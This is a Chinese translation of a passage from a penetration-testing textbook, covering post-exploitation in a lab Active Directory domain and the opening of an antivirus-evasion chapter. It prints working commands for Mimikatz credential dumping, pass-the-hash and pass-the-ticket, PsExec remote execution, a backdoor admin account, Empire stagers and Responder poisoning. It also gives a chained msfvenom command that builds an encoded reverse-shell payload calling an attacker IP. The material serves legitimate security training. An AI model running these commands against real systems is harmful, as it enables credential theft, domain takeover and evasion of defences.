渗透测试学习指南(三)
原文:
annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9译者:飞龙
第三部分:利用后
在这一部分,我们将探讨在利用后使用的技术。您将学习如何应用各种技术来进行横向移动、权限提升和枢纽。我们将探讨各种技术控制的方式,比如反病毒措施,如何使用工具和自定义 shell 代码来规避。您将学习如何使用持久化技术在受损网络中保持访问权限。
本节将涵盖以下章节:
-
第十章,横向移动和提升权限
-
第十一章,反病毒规避
-
第十二章,在环境中保持控制
第十章:横向移动和提升权限
现在您已经攻破了系统,您可能想知道接下来该怎么办。后渗透是下一步,我们希望在内部网络中获得进一步的访问。在本章中,我们将看看如何获得比当前更高的权限。这可能需要在网络上进一步嗅探,以及执行横向移动技术。
在本章中,您将学习不同的后渗透技术,以及为什么后渗透形成渗透测试的一个重要部分。您将学习如何建立一个 AD 实验室,用于测试您的后渗透技能。通过使用可用的工具,您将了解它们的目的以及如何在渗透测试中使用它们,以确保您可以访问被攻击的系统。
在您阅读本章的过程中,您将学习以下主题:
-
发现后渗透技术
-
准备您的环境
-
后渗透工具
-
执行后渗透攻击
技术要求
要跟随本章中的示例和说明,请确保您具备以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 3
-
Windows Server 2016(评估版)
-
Windows 10 企业版(评估版)
发现后渗透技术
在执行后渗透时,您需要了解一些技术。这些技术是您在进行渗透测试时将利用的。例如,考虑这样一个情景,您可能会攻破一个标准用户,该用户在网络上没有访问许多资源的权限。您的目标(在渗透测试的范围内)是获得域控制权并创建一个高权限用户帐户。您将如何进行?这就是了解后渗透不同技术的重要性,因为您将能够看到可以利用的差距,以使您更接近目标。
我们将在本节中涵盖一些这些技术。
横向移动
一旦您攻破了目标网络上的初始主机,您将需要开始在环境中进行横向移动。横向移动是从一个主机移动到另一个主机,寻找更高权限的帐户、枢纽点、敏感数据或者简单的侦察的过程。在这个阶段,使用内置工具以避免被检测是一种常见做法。例如,PowerShell 或 WMI 通常被列入白名单,并允许在环境中的端点上使用。
在横向移动过程中,凭证收集通常是一个主要焦点。它始于已被攻破的主机,并随着您在网络中移动而持续。收集凭证可以为您提供升级路径,如果您使用诸如键盘记录、内存转储或者捕获存储凭证的文件等技术。大多数组织低估了内置的本地管理员帐户。这个帐户可以用于在不同的端点之间跳转。
您可以通过利用未打补丁的机器在网络中移动。一些组织在为员工配置新工作站时并不使用隔离环境。当操作系统忙于更新时,您有一个小窗口,补丁缺失,这可以被利用。
权限提升
权限提升是寻找比您当前拥有的更高权限访问方式的过程。例如,如果您攻破了一个普通用户帐户,那么该帐户很可能没有访问域控制器的权限。因此,您需要寻找一个具有访问权限的帐户。域管理员组内的帐户很可能是一个明显的线索。
为了找到高特权帐户,您需要通过横向移动计算机,如前一节所讨论的那样。您将通过可能包含凭据的文件、配置错误的服务、过多的用户权限,甚至故意不安全的安全措施来工作。
枢轴
企业网络通常会有逻辑边界,您需要在渗透测试中穿越。逻辑网络边界是网络内的逻辑分隔,通常是通过将网络分割成不同子网并通过路由器、交换机甚至防火墙控制对子网的访问来实现的。例如,网络将包含受信任区段、服务器区段、非军事区段(DMZ)和外部区段。受信任区将是内部网络,是最受信任的网络,可能不会有太多限制。服务器区段将是一个包含各种服务器的子网。非军事区段包含外部面向服务器,外部区段将是一个不受信任的网络,如互联网。
枢轴是访问在正常情况下无法访问的资源的过程。如果我们考虑前一段中讨论的各个部分,您可能已经获得了对受信任部分的初始访问权限。您现在正在尝试访问服务器部分中的特定服务器,但是从一般受信任网络是不允许的——只允许从跳转主机访问,该跳转主机将同时访问服务器和受信任部分。获得对该跳转主机的访问权限将为您提供到服务器部分的枢轴点。
准备您的环境
为了演示本章中的各种后渗透攻击,我建立了一个基本的Active Directory(AD)实验室。您可以使用以下图表构建与我相同的实验室:
图 1:实验室图表
Windows 10 企业评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise。
Windows Server 2016 评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016。
服务器操作系统上创建域的设置步骤如下:
-
安装完成后,使用本地管理员帐户登录您的服务器。
-
在以太网适配器上配置静态 IP 地址。如果您正在构建虚拟机,请确保将网络适配器设置为虚拟化软件上的私有网络。
-
单击开始并搜索
PowerShell。然后,右键单击 PowerShell 并选择以管理员身份运行。 -
一旦 PowerShell 打开,输入
Install-WindowsFeatures -Name AD-Domain-Services -IncludeManagementTools命令。安装功能后,您将收到以下消息:
图 2:安装 AD 域服务
- 接下来,我们需要设置 AD 林配置。输入
Install-ADDSForest -DomainName "pentest.lab" -InstallDNS命令。您将被提示输入恢复密码;这可以是您想要的任何内容。使用A来回答所有问题都是肯定的:
图 3:安装 AD 林
-
在此期间,安装将安装多个组件。一段时间后,服务器将重新启动。重新启动后,您将能够使用您在首次安装服务器时定义的管理员用户名和密码登录。
-
您可以通过在管理 PowerShell 窗口中发出
Get-ADDomain命令来确认域是否已成功设置:
图 4:验证 Active Directory 信息
如果您更喜欢使用图形界面,可以在以下链接找到一个很棒的博客,告诉您如何操作:blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/。
还有一些额外的任务需要完成,您可以使用此处定义的 PowerShell 命令来完成。确保您使用域管理员帐户登录到域控制器,然后使用 PowerShell 执行这些额外的步骤:
- 我们要做的第一件事是在 AD 中创建一个新的组织单位。您可以随意命名。在我的环境中,我称之为
IT:
New-ADOrganizationalUnit -Name "IT"
- 下一步是创建用户帐户。您可以重复此步骤,通过更改粗体标记的名称来创建
helpdeskagent和serveradmin帐户:
New-ADUser -Name "DomainAdmin" -GivenName "Domain" -Surname "Admin" -SamAccountName "DomainAdmin" -UserPrincipalName "DomainAdmin@pentest.lab" -Path "OU=IT,DC=pentest,DC=lab" -AccountPassword(Read-Host -AsSecureString "User Password") -Enabled $true
- 接下来,我们将创建一个安全组。
helpdeskagent将被添加到这个组中:
New-ADGroup "Helpdesk Staff" -Path "OU=IT,DC=pentest,dc=lab" -GroupCategory Security -GroupScope Global -PassThru –Verbose
- 最后,我们将把各种用户添加到各自的安全组中:
Add-AdGroupMember -Identity "Domain Admins" -Members DomainAdmin
Add-AdGroupMember -Identity "Helpdesk Staff" -Members HelpdeskAgent
一旦域控制器建立完成,您可以将您的 Metasploitable 3 和 Windows 10 企业虚拟机加入到域中。确保您按照前面的图表设置静态 IP 和 DNS。
为了模拟我们将在后面介绍的攻击,我已经配置了以下内容:
-
Windows 10 企业虚拟机:在这里,登录的用户将是
domainadmin。我已经将Helpdesk Staff组配置为 PC 上的本地管理员。 -
Metasploitable 3:在这里,我已经使用
serveradmin和helpdeskagent帐户登录。
后渗透工具
后渗透是渗透测试的重要部分。有许多工具可以用于后渗透。了解何时以及如何使用这些工具将有助于您进行成功的后渗透活动。
我们将在本节中讨论其中一些工具。
Metasploit 框架
Metasploit 框架确实具有许多功能,我们在整本书中都广泛使用了它。我们主要关注了框架的利用功能。现在,我们将看看后渗透功能。Metasploit 提供了许多可以针对各种系统使用的模块。
为了在您的实验室中执行这些攻击,我使用了 Metasploitable 3(Windows)虚拟机作为目标。我使用的漏洞是windows/smb/ms17_010_eternalblue,我们在第五章中介绍过,深入 Metasploit 框架。
让我们看看可用的后渗透功能以及它们可以用于什么。
Metasploit 后模块
在 Metasploit 框架中,有许多跨不同操作系统的后模块。您可以通过键入use post,然后按两次Tab键来查看。Metasploit 将提示您显示所有可能性。在撰写本文时,有 328 个可以使用的post模块:
图 5:查看 Metasploit 中的后模块
让我们看看您可以使用的一些模块。例如,post/windows/gather/enum_ad_users和post/windows/gather/enum_ad_groups模块将为您提供有关 AD 域中存在的用户和组的一些见解:
图 6:枚举 AD 组
在您已经攻击的目标系统上,您需要确定当前安装了什么。这将有助于确定诸如主机入侵检测或防病毒应用程序之类的安全控制。通过使用post/windows/gather/enum_applications,您将能够看到已安装应用程序的列表:
图 7:列出当前安装的应用程序
让我们看看 Meterpreter 中存在的选项。回想一下第五章,深入了解 Metasploit 框架,使用 Meterpreter shell 提供了更多的功能。
一旦您入侵了一个系统,您可能希望将您的 Meterpreter 会话迁移到另一个进程,以避免被检测或获得持久性。可以通过使用来自 Meterpreter 会话的run post/windows/manage/migrate命令来进行进程迁移:
图 8:Meterpreter 进程迁移
Meterpreter 使得可以使用额外的扩展类别,如powershell和Mimikatz。这些可以通过从 Meterpreter shell 中使用load命令加载:
图 9:加载 meterpreter 模块
使用getsystem命令可以实现使用 Meterpreter 进行本地系统的特权升级。
这个命令告诉 Meterpreter 使用任何可用的技术来获取本地系统权限。这些技术包括命名管道模拟和令牌提升:
图 10:使用 Meterpreter 提升到系统权限
在本章的即将到来的部分(执行后渗透攻击)中,我们将看看如何使用 Meterpreter 的一些功能来执行后渗透活动。
Empire
Empire 是另一个可以用于后渗透的强大工具。它灵活且利用了安全通信。它为您提供了在不需要powershell.exe的情况下运行 PowerShell 代理的能力。后渗透模块范围从键盘记录器到凭证提取工具(如 Mimikatz)。
Empire 可以通过克隆存储库来安装。您可以使用以下命令来执行此操作:
git clone https://github.com/EmpireProject/Empire.git
一旦存储库被克隆,您可以在其目录中使用./install.sh命令安装 Empire。安装完成后,您可以使用./empire命令运行 Empire。
当 Empire 加载时,您将看到主屏幕,显示加载的模块、监听器和活动代理:
图 11:Empire 主屏幕
在您拥有活动代理之前,我们需要创建一个监听器。这可以通过使用listeners命令来完成,然后使用uselistener [type]命令定义我们想要创建的监听器类型。有各种类型,如http、meterpreter和redirector。
使用uselistener http命令设置一个简单的http监听器。一旦选择了listeners,您可以使用info命令检查可用的选项:
图 12:查看监听器选项
注意Required字段。默认情况下,您只需要为监听器提供一个名称。这可以使用set Name [name]命令完成。在我的例子中,我给我的监听器起了一个名字,即Metasploitable3。一旦定义了一个名称,输入execute命令启动监听器。
Empire 命令区分大小写。使用set name命令将不起作用-您必须使用set Name。
现在您已经设置了监听器,您需要将一个分段器链接到监听器。这可以通过使用back命令返回到监听器配置来完成。要定义一个分段器,您将使用usestager [stager]命令。您可以通过按两次Tab按钮查看完整的分段器列表。
我们将使用usestager windows/launcher_bat命令创建一个简单的 Windows 启动器分段器。这将创建一个可以在目标机器上运行的批处理文件,并将其存储在临时位置:
图 13:使用 Empire 创建一个分段器
一旦分段器被创建,你所需要做的就是在目标系统上运行文件。运行分段器后,它将连接到帝国并成为一个代理:
图 14:帝国中的活动代理
要与代理进行交互,我们使用interact [agent name]命令。
使用sysinfo命令,我们可以确认我们具有管理完整性。这由High Integrity变量中的值1来定义:
图 15:获取远程系统信息
一旦你获得了对代理的访问权限,你可以随心所欲地进行后期利用活动。
Responder
Responder 是一个可以快速获取凭据的工具。它内置于 Kali Linux 中,利用了 LLMNR、NBT-NS 和 MDNS 毒物质,这些都可以简单地用于攻击易受攻击的网络。Responder 之所以成功,纯粹是因为网络组件,如 ARP(地址解析协议)、DHCP(动态主机配置协议)和 DNS(域名系统)没有得到安全配置。
链路本地组播名称解析(LLMNR)和NetBios 名称服务(NBT-NS)是在 Windows 操作系统中用于通信和名称解析的组件;它们在 DNS 失败时尝试解析名称。MDNS 代表 Microsoft DNS。
Responder 的基本语法是responder -I [interface]。
Responder 有许多可用的毒物服务器。这些可以通过存在于/usr/share/responder/Responder.conf的配置文件进行配置:
图 16:Responder 毒物服务器
要了解 Responder 的工作原理,让我们考虑以下情景。
用户被引导到一个不存在的共享,要么是通过社会工程学,打开一个强制计算机尝试访问不存在的共享的恶意文档,要么是在尝试访问合法共享时打错了字。
让我们按照这些步骤来看看它是如何运作的:
- PC 将尝试通过对其配置的 DNS 服务器进行名称解析来连接不存在的文件共享:
图 17:用户尝试访问不存在的共享
-
DNS 服务器没有与 PC 尝试访问的内容匹配的记录,因此它会告诉 PC 该记录不存在。这就是 LLMNR 和 NetBIOS-NS 查询接管的地方。
-
然后 PC 将使用 LLMNR 和 NetBIOS-NS 进行广播,这将被运行 Responder 的攻击者拦截。
-
Responder 将回答查询并欺骗 PC 相信它有该共享。然后它将继续要求 PC 使用用户的密码哈希加密挑战请求。一旦哈希挑战完成,Responder 将以错误的方式丢弃请求。
-
Responder 现在已经捕获了哈希并在控制台上显示出来:
图 18:捕获的 NTLMv2 哈希
一旦哈希被捕获,就可以使用hashcat等工具进行破解:
图 19:使用 hashcat 破解 NLTMv2 哈希
Responder 有能力创建一个恶意代理服务器,它将回答Web 代理自动发现(WPAD)请求。这是一个协议,客户端用它来下载一个定义代理设置的配置文件。通过恶意代理,Responder 能够强制进行身份验证,从而诱使用户输入他们的凭据,这些凭据可以被捕获。
尽管 Responder 本身不是后期利用工具,但了解它的工作原理可以帮助您在后期利用活动中解决困难。在执行其他后期利用活动时,让它继续运行也没有坏处,因为很可能您会收集到大量哈希值,特别是在用户在尝试访问共享时容易出现拼写错误的大型环境中。
Mimikatz
Mimikatz 是社区中众所周知的工具。它是一个开源应用程序,允许您与 NTLM 哈希或 Kerberos 票证等凭据进行交互。该工具不断得到维护,并且其攻击向量保持最新。Mimikatz 的存储库位于这里:github.com/gentilkiwi/mimikatz。
攻击者和渗透测试人员通常会使用 Mimikatz 来窃取凭据并执行特权升级等活动。随着杀毒技术的进步,这个工具经常被杀毒产品检测到。然而,互联网上有许多关于如何在使用 Mimikatz 时规避检测的文章。
Mimikatz 的一些主要特点如下:
-
Pass-the-Hash(PtH):在 Windows 中,密码数据以哈希格式(NTLM)存储。Mimikatz 允许您利用这个哈希并将其传递给目标,从而无需破解哈希。通过传递这个哈希,您可以获得对目标系统的访问权限,并拥有属于该哈希的帐户的全部权限。
-
Pass-the-Ticket:这种攻击涉及使用 Kerberos 票证对系统进行身份验证;无需知道帐户的密码。它通过捕获有效帐户的 Kerberos 票证来工作。捕获票证授予票证(TGT)可以用于从票证授予服务(TGS)请求服务票证,以访问帐户有权限访问的任何资源。
-
Overpass-the-Hash(Pass-the-Key):这种攻击结合了哈希传递和票证传递攻击。通过使用有效的 NTLM 哈希,您将能够获得有效用户的 Kerberos 票证请求。
-
Kerberos Silver Ticket:银票攻击包括创建一个忘记服务票证。这些票证可以提供对特定服务的访问权限。例如,创建一个 SQL 服务账户的银票证允许您访问特定主机上的 SQL 服务。在执行银票证账户时,不需要与域控制器进行通信。这使您可以避免被检测到。
-
Kerberos Golden Ticket:这种攻击涉及一个名为
krbtgt的帐户。该帐户用于在 AD 域中加密和签名所有 Kerberos 票证。黄金票证攻击涉及窃取krbtgt哈希;一旦窃取,您就能够创建和签署自己的 Kerberos 票证。这最终使您完全访问域内的任何内容,并且该票证不会过期。
Mimikatz 在许多后期利用工具中被利用,如 Empire、Metasploit Framework 和 Powersploit。
执行后期利用攻击
让我们在实验环境中进行一些后期利用攻击。我们将使用 Metasploitable 3 虚拟机作为入口点,因为我们知道存在漏洞。
使用windows/smb/ms17_010_eternalblue漏洞,我们将生成一个 Meterpreter 会话。一旦我们建立了会话,我们将使用getsystem命令提升到系统权限。
一旦我们有了 Meterpreter 会话,我们将使用sysinfo命令确认当前系统的信息:
图 20:确认当前系统信息
在这里,我们有一些有趣的信息:我们可以看到有三个已登录的用户。让我们继续进行凭证收集。
执行凭证收集
现在我们知道有三个用户登录,我们将尝试提取任何凭据。为此,我们将使用load kiwi命令在 Meterpreter 中加载kiwi扩展。一旦扩展加载完成,我们将使用kiwi_cmd sekurlsa::logonpasswords命令转储当前登录用户的凭据:
图 21:加载 kiwi 扩展
当我们使用kiwi_cmd sekurlsa::logonpasswords命令时,我们告诉 Meterpreter 使用我们将在其中定义命令的命令,然后我们定义我们想在 Mimikatz 中使用的命令。sekurlsa::logonpasswords命令负责从内存中的本地安全性机构子系统服务(lsass)中提取密码、密钥、PIN 码和票证。
命令运行后,将有大量输出。请注意以下截图中的输出。在这里,我们有一些有价值的信息。我们可以看到有一个名为serveradmin的用户帐户已登录。我们有用户帐户的 LM 和 NTLM 哈希,由于域仍在使用wdigest,我们有P@ssw0rd!@#$%的明文密码:
图 22:使用 Mimikatz 转储的 ServerAdmin 凭据
深入研究输出,我们还有另一个有趣的凭据,helpdeskagent。在这里,我们还有 NTLM 哈希和明文密码:
图 23:使用 Mimikatz 转储的 helpdeskagent 凭据
现在,我们有两个有趣的帐户可供使用。在进行横向移动之前,我们将使用 Meterpreter 上传两个文件,使用以下步骤:
-
使用
pwd命令查看当前工作目录。 -
您可以在此处上传文件,也可以创建新文件夹。我创建了一个名为
tools的新文件夹。 -
确保您已从我们在Mimikatz部分提到的 GitHub 存储库中下载了 Windows 版本的
mimikatz.exe。使用upload命令上传文件:
图 24:上传 mimikatz.exe
接下来要上传的文件是PSexec.exe. PSexec用于执行远程命令,并可从docs.microsoft.com/en-us/sysinternals/downloads/psexec下载。
在真实的渗透测试中,您不会简单地上传文件,特别是 Mimikatz 和PSexec,因为它们可能会被本地防病毒软件删除或记录,IT 人员可能会被警告您在机器上的存在。在这个演示案例中,Metasploitable 3 上没有安装防病毒软件或日志记录软件。
最后,我们将创建一个本地用户帐户,以便访问服务器。我们可以使用 Meterpreter 中的shell命令访问 Windows 命令提示符。一旦我们获得 shell 访问权限,我们将使用以下两个命令在内置管理员组中创建一个本地用户:
net user [username] [password] /add
net localgroup [group name] [username] /add
此命令创建一个本地用户并将用户添加到指定的组:
图 25:创建本地管理员用户
拥有此本地管理员用户帐户可以形成后门。
执行 Overpass-the-Hash
由于我们已确定 Metasploitable 3 是一个服务器,让我们尝试使用我们在其中创建的本地帐户登录,以防我们收集到哈希的用户之一已登录。为此,我们将使用内置于 Kali 中的xfreerdp工具。
我们将使用的命令语法如下:
xfreerdp /u:Pentester /p:Pentest@1! /v:192.168.10.15
在此命令中,我们定义了用户(/u)、密码(/p)和服务器 IP(/v)。输入命令后,您将拥有远程桌面会话:
图 26:建立远程桌面会话
现在我们已经登录到服务器,让我们尝试枚举当前域用户和组。请记住,我们已经收集了serveradmin和helpdeskagent的凭据。打开命令提示符并输入net user /domain命令失败,因为我们没有通过域进行身份验证:
图 27:用户枚举被拒绝
由于我们有两个域凭据的哈希值,让我们使用这个来执行 Overpass-the-Hash 攻击。我们将使用 Mimikatz 工具的serveradmin哈希。执行此操作的命令如下:
Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:serveradmin /ntlm:[ntlm hash] /domain:pentest.lab" "exit"
在这个命令中,我们告诉 Mimikatz 使用最高权限(privilege::debug),通过 Overpass-the-Hash 攻击(sekurlsa::pth)并定义用户名(/user)、NTLM 哈希(/ntlm)和域(/domain)。
一旦命令执行,我们将会有一个新的命令提示符窗口打开。这个窗口将具有serveradmin账户的权限,因此允许我们在伪装成serveradmin的同时执行用户和组枚举:
图 28:成功的 Overpass-the-Hash 攻击
现在,让我们看看我们可以用helpdeskagent账户做些什么。在用户和组枚举期间,我们确定域中有一个helpdeskagent账户和一个Helpdesk Staff组。让我们假设用户账户是这个组的成员。我们可以通过使用net user helpdeskagent /domain命令来确认这一点:
图 29:验证 helpdeskagent 的组
确实,该账户是该组的成员。
在进行下一步之前,我们将重复执行 Overpass-the-Hash 攻击,但这次使用helpdeskagent账户的 NTLM 哈希。
执行横向移动
使用 Overpass-the-Hash 攻击使用helpdeskagent账户生成的新命令窗口,我们将尝试访问 Windows 10 PC。使用dir \\192.168.10.9\c$命令进行简单的目录列表显示了该目录。这告诉我们Helpdesk Staff可能在该 PC 上拥有本地管理员权限。
我们要做的第一件事是将 Mimikatz 复制到 Windows 10 PC。这可以通过使用xcopy mimikatz.exe \\192.168.10.9\c$\tools命令来完成。根据以下截图,由于我没有创建目录,我被提示定义目标是文件还是目录:
图 30:将 mimikatz.exe 复制到新目标
使用PSexec,我们将查看转储当前登录用户凭据。这可以通过以下命令完成:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "seckurlsa::logonpasswords" "exit")
在这个命令中,我们告诉PSexec在远程系统上运行 Mimikatz 命令。-accepteula命令非常重要,因为这将阻止远程系统上的 EULA 提示出现:
图 31:使用 PSexec 远程执行 mimikatz 命令
一旦我们有了输出,我们将看到有一个高权限账户登录,即domainadmin:
图 32:在远程系统上收集凭据
在这里,我们没有明文密码,但我们仍然有 NTLM 哈希,我们可以使用。接下来我们要做的是执行一个 Pass-the-Ticket 攻击。我们将使用在本节中使用的同一个命令行窗口。
执行 Pass-the-Ticket 攻击
为了执行这个攻击,我们需要从 Windows 10 PC 导出当前的 Kerberos 票证。这可以通过以下命令完成:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit")
在这个命令中,我们正在导出当前的 Kerberos 票据,以便我们可以复制它们并将其导入到我们的会话中。一旦您运行此命令,您将获得一些*.kirbi文件。由于我们只对domainadmin感兴趣,我们将把它们复制到我们的 Metasploitable 3 服务器上。可以使用普通的 Windows copy命令进行复制。
一旦你在 Metasploitable 3 服务器上有了.kirbi文件,你可以使用以下命令执行票据传递攻击:
mimikatz.exe "privilege::debug" "kerberos::ptt c:\windows\system32\tools" "exit"
在这个命令中,我们正在定义攻击(kerberos:ptt)和.kirbi文件的位置:
图 33:导入 domainadmin Kerberos 票据
注意前面截图中的输出。在执行攻击之前,我尝试访问 DC,但被拒绝了。请记住,这是我们使用helpdeskagent账户生成的同一个窗口。一旦 Mimikatz 命令执行,我们将看到domainadmin Kerberos 票据已经导入到我们的会话中。
我们可以通过运行klist命令来确认 Kerberos 票据已经导入,该命令将显示当前的 Kerberos 票据:
图 34:Kerberos 票据成功导入
注意,我们的会话现在具有domainadmin账户的 Kerberos 票据。我们现在正在冒充域管理员,因此我们将能够访问域控制器:
图 35:域控制器现在可以访问
在这一点上,我们已经完全访问了域控制器,这导致了对环境的完全妥协。
摘要
后期利用可以以许多不同的方式进行。有时,仅使用一个工具,如 Responder,就可以捕获高特权哈希。在其他情况下,您需要通过使用各种技术来真正地处理环境。在本章中,我们只关注了一些工具,但还有许多其他可用的工具。
在本章中,您确定了在进行后期利用时可以利用的各种技术。您现在可以构建一个基本的 AD 实验室,用于测试您在后期利用方面的技能。您可以使用渗透测试人员和攻击者使用的真实工具。您还获得了执行各种后期利用攻击的实际动手能力。
在下一章(第十二章*,在环境中保持控制*)中,我们将讨论持久性以及如何保持对被入侵网络的访问。
问题
-
在后期利用过程中可以利用哪些技术?
-
可以用于后期利用的工具有哪些?
-
列出一些存在于 Meterpreter 中的后期利用脚本。
-
解释一下票据传递攻击。
-
krbtgt账户有什么独特之处?
第十一章:防病毒规避
拥有防病毒软件的概念并不新鲜。这是一种常见的安全控制,用于保护用户免受恶意软件和其他类型的恶意软件的侵害。从历史上看,它一直专注于预防病毒感染。在您的渗透测试中,几乎不可能找到一个没有防病毒软件的客户。
在本章中,您将了解防病毒技术的发展以及它们变得更加复杂的方式。您将学习各种可以用于防病毒规避的技术,并了解可以帮助您利用这些技术的工具。您将学习如何对有效载荷进行编码以避免检测,并最终探索可以用于检查有效载荷检测率的在线工具。
随着本章的进行,您将学习以下主题:
-
防病毒技术的发展
-
防病毒软件规避的概念
-
开始使用防病毒规避
-
测试规避技术
技术要求
要按照本章中的示例和说明进行操作,请检查您是否具备以下技术要求:
- Kali Linux 2019.1
防病毒技术的发展
威胁形势正在迅速发展。在过去的几年里,出现了攻击向量,如自动化攻击、无文件恶意软件、固件恶意软件、高级持续性威胁(APT)恶意软件,还有,别忘了,复杂的勒索软件。攻击者拥有一系列攻击手段,可以利用人工智能和机器学习。基于这些攻击的进展,防病毒软件不得不跟上。
淘汰旧技术
传统的防病毒软件,其目的是仅仅基于签名停止病毒,并根据模式查找文件系统或应用程序的变化,已经不再足够。尽管签名和基于模式的匹配仍然在使用,但存在弱点。例如,无法更新签名,或者跟上每天发布的大量恶意软件都会带来巨大风险。启发式扫描是防病毒软件分析代码与一组变量的能力,这些变量将指示病毒是否存在。这种方法使得能够检测到一组额外的病毒,但也可以被规避,因为变量可以被修改。防病毒软件的扫描和拦截能力有其好处,但这些也可以被规避。
现在存在的恶意软件增长速度太快,使得防病毒制造商无法跟上。
引入新技术
如今的防病毒软件已经发展,具有检测和防止隐藏漏洞利用的能力,利用威胁情报,对端点(包括应用程序、进程和内存)进行全面监控,自动警报,取证能力和数据收集。
当今的防病毒软件可以被称为下一代防病毒软件,并使用以下策略:
-
查看阻止使用典型方法绕过正常进程操作的利用技术。这种方法不考虑文件类型,而是考虑进程本身。
-
可以用于学习特定恶意文件的数百个变体的机器学习技术;而在旧的防病毒软件中,这需要一些人工干预和一个沙箱环境来测试每个变体。
-
超越磁盘的检测能力。例如,无文件恶意软件等恶意软件不会在磁盘上留下任何东西。传统的防病毒软件无法检测到这一点,但下一代防病毒软件可以。
-
人工智能的作用是进一步减少人类干预,使防病毒软件能够识别模式,将其与威胁联系起来,并使用新模式更新自己的数据库。
似乎这些下一代反病毒软件使规避变得不可能,但仍然是可能的。随着其防御能力的提高,我们可以利用的进攻工具也在不断改进。
反病毒规避的概念
在渗透测试的利用阶段,您需要在目标系统上运行代码。这可以通过钓鱼邮件、利用或社会工程来完成。您将遇到的阻碍是反病毒软件(无论是传统变体还是下一代变体)。绕过反病毒软件的最有效方法是创建自己的定制有效载荷。在我们深入创建有效载荷之前,让我们考虑一些技巧:
-
侦察在反病毒规避中起着重要作用。了解您的目标拥有什么是关键。如果您觉得想要一个定制的有效载荷,可以避开所有反病毒产品,那么您是在误导自己。花费时间来实现这一点将会太长,而且随着每个供应商积极改进其产品,您的有效载荷将很快被检测到。将有效载荷缩小到目标的反病毒软件。
-
一旦您有一个可用的 shellcode,您可能会在以后的渗透测试中再次重复使用它,而且它可能仍然有效。为了确保减少您的利用的检测能力,永远不要将其提交到 VirusTotal 等服务(本章后面将介绍),或任何其他在线扫描程序。这些在线资源通常会将样本提交给反病毒供应商,供应商又会用它来增强其检测能力。
-
简单是关键。不要选择带有大量功能的华丽有效载荷。记住,您只是试图禁用反病毒软件,然后使用更强大的工具。
-
利用您可以使用的资源。例如,Metasploit 具有可用于反病毒规避的模块。在线资源如 ExploitDB 有可以下载、定制和使用的 shellcode。
牢记这些技巧将有助于您在渗透测试职业中取得进展,因为您在规划反病毒规避时有一个很好的起点。
反病毒规避技术
既然我们已经确定了需要进行反病毒规避,让我们来看看存在的各种技术。以下是可以使用的最常见的技术。
编码器
编码器允许您避免在利用中导致其发生故障的字符。通过使用 MSFvenom,您可以访问多个编码器。编码工作是通过拆分有效载荷并添加额外的代码来掩盖真实的有效载荷。在有效载荷中添加解码指令,以便在运行之前对其进行解码。MSFvenom 具有一些内置的编码器,我们将在本章后面进行讨论。
自定义编译
使用 MSFvenom 的内置编码器并不像我们希望的那样高效。Metasploit 及其组件是反病毒制造商的一个不断关注的焦点,并且他们密切关注其中的编码器所做的改进。为了绕过这一点,您可以利用自定义编译来创建一个不可检测的有效载荷。查看 C 编程语言,有一些关键组件可以利用,以向您的代码添加随机性,以试图欺骗反病毒程序不要检测它。
混淆
混淆是修改有效载荷的过程,使其对反病毒软件不清楚,但仍然可以用于其预期目的。混淆有效载荷的一种方法是使用加密。可以使用 Hyperion 等工具(我们将在后面介绍)使用高级加密标准(AES)对有效载荷进行加密。一旦运行有效载荷,解密就会发生,有效载荷就能够执行。这种加密有助于减少反病毒软件的检测率。
当然,由于杀毒软件不断变得更好,仅仅使用一种规避方法是不可能的。没有杀毒软件规避的灵丹妙药。您需要结合一些技术来帮助降低有效负载的检测率。
开始使用杀毒软件规避
在进行渗透测试时,存在着您和客户之间定义的信任级别。当您将任何有效负载投放到他们的环境中时,例如规避杀毒软件以在您的系统中创建后门,您需要确保有效负载只连接回您。代码中不应该有任何可能导致客户环境真正妥协的错误。
在您学习本节中定义的各种工具时,请确保明确定义目标将连接回的系统 IP。这样做将确保您在职业生涯的初步学习阶段强化信任的概念。
MSFvenom
MSFvenom 是 Metasploit 框架的命令行工具的一部分。它用于生成各种 shellcode,可用于提供对系统的后门。
MSFvenom 中的一些常见开关如下:
--l | 这用于显示每个类别(编码器、有效负载、格式、加密器等)中所有模块的列表。例如,使用msfvenom -l payloads将显示当前可用的有效负载集。 |
|---|---|
--p | 这定义将使用的有效负载。例如,使用msfvenom -p windows/x64/meterpreter_reverse_https命令将定义 meterpreter 反向 HTTPS 有效负载。 |
--f | 这定义了输出格式。例如,您可能想要创建一个.exe或.c文件。 |
--b | 这用于消除坏字符。杀毒软件会寻找诸如\x00之类的坏字符。 |
--e | 这用于定义将使用的编码器。例如,常用的编码器之一是/x86/shikata_ga_nai。 |
--i | 这用于定义对 shellcode 进行编码的最大次数。 |
--a | 这用于定义架构。例如,-a x64将创建一个 64 位的 shellcode。 |
--platform | 这用于定义 shellcode 将针对的平台。例如,对于 Windows 操作系统,可以使用--platform Windows。 |
MSFvenom 有更多的选项和开关;前面的表格描述了在创建有效负载时通常使用的内容。
MSFvenom 允许您将多个命令链接在一起。这是通过在每个命令的末尾使用| \序列来完成的。
要使用一系列命令创建有效负载,请按照以下步骤进行。注意每个命令末尾的| \序列。
从终端窗口,输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o MSFV-payload.exe
当您完成输入上述命令后,您应该得到以下输出:
图 1:MSFvenom 命令链
在命令的第一行中,我们正在定义要使用的meterpreter/reverse_tcp有效负载。然后我们定义我们攻击主机的 IP(LHOST)和端口(LPORT)。然后我们使用原始格式(-f),并使用shikata_ga_nai编码器(-e)进行 15 次迭代(-i 15)。
在命令的第二行中,我们通过现在定义架构(-a),平台,这种情况下是 Windows(--platform),以及使用 9 次迭代的x86/countdown编码器进一步对原始文件进行编码。
